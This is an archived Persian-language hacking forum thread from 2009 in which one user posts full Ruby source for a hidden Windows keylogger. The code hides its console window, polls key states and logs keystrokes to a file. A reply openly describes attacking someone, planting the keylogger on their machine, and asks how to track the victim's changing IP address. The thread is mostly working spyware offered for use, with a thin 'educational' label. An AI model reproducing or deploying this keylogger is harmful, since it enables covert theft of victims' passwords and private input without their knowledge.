Train

PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : Ruby keylogger


MagicCoder
10-05-2009, 08:28 PM
این یک مثال از کی لاگر در روبی است که میتواند به کلاینت کارانی که علاقه مند به روبی هستند کمک به سزایی کند.


# a simple hookless keylogger, tested on winxp
# written by nobot (for educational uses)

require 'Win32API'

#hide the console window.
win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').call
Win32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0)

#hash mapping of interesting characters to virtual keycodes
keys = Hash[' ' => 0x20, ',' => 0xBC, '.' => 0xBE]
(0x30 .. 0x39).each {|v| keys[v-0x30] = v} #numerals 0-9
(0x41 .. 0x5A).each {|v| keys[v.chr] = v} #letters A-Z

GetAsyncKeyState = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

keys.each_value {|v| GetAsyncKeyState.call(v) }

file = File.open('evil_file.txt', 'a')
file.puts "\n" + Time.now.to_s
while true
break if GetAsyncKeyState.call(0x1B) & 0x01 == 1 #esc
keys.each {|k, v| file.print k if GetAsyncKeyState.call(v) & 0x01 == 1}
sleep 0.1
end
file.close


موفق باشید.

ehem
12-13-2009, 04:34 AM
با سلام و خسته نباشید
اگه لطف کنید درباره یه این keylogger یه توضیح کوچیکی بدید ممنون میشم
هیچ چیز از Ruby نمیدونم...
باید تویه notepad این کد رو بنویسم؟ با چه پسوندی ذخیرش کنم؟کلا توضیح بدید دربارش و بگید چه تغیراتی روش باید انجام بدم
یه چیز دیگه..
من به یه نفر حمله میکنم و keylogger میندازم رو سیستم طرف . خوب حالا IP طرف وقتی دوباره وصل بشه به اینترنت دوباره عوض میشه دیگه! چطوری دوباره IP شو بدست بیارم؟
ممنون میشم جواب بدید...

MagicCoder
12-13-2009, 04:53 AM
با سلام و خسته نباشید
اگه لطف کنید درباره یه این keylogger یه توضیح کوچیکی بدید ممنون میشم
هیچ چیز از Ruby نمیدونم...
باید تویه notepad این کد رو بنویسم؟ با چه پسوندی ذخیرش کنم؟کلا توضیح بدید دربارش و بگید چه تغیراتی روش باید انجام بدم
یه چیز دیگه..
من به یه نفر حمله میکنم و keylogger میندازم رو سیستم طرف . خوب حالا IP طرف وقتی دوباره وصل بشه به اینترنت دوباره عوض میشه دیگه! چطوری دوباره IP شو بدست بیارم؟
ممنون میشم جواب بدید...

http://www.ashiyane.org/forums/showthread.php?t=15976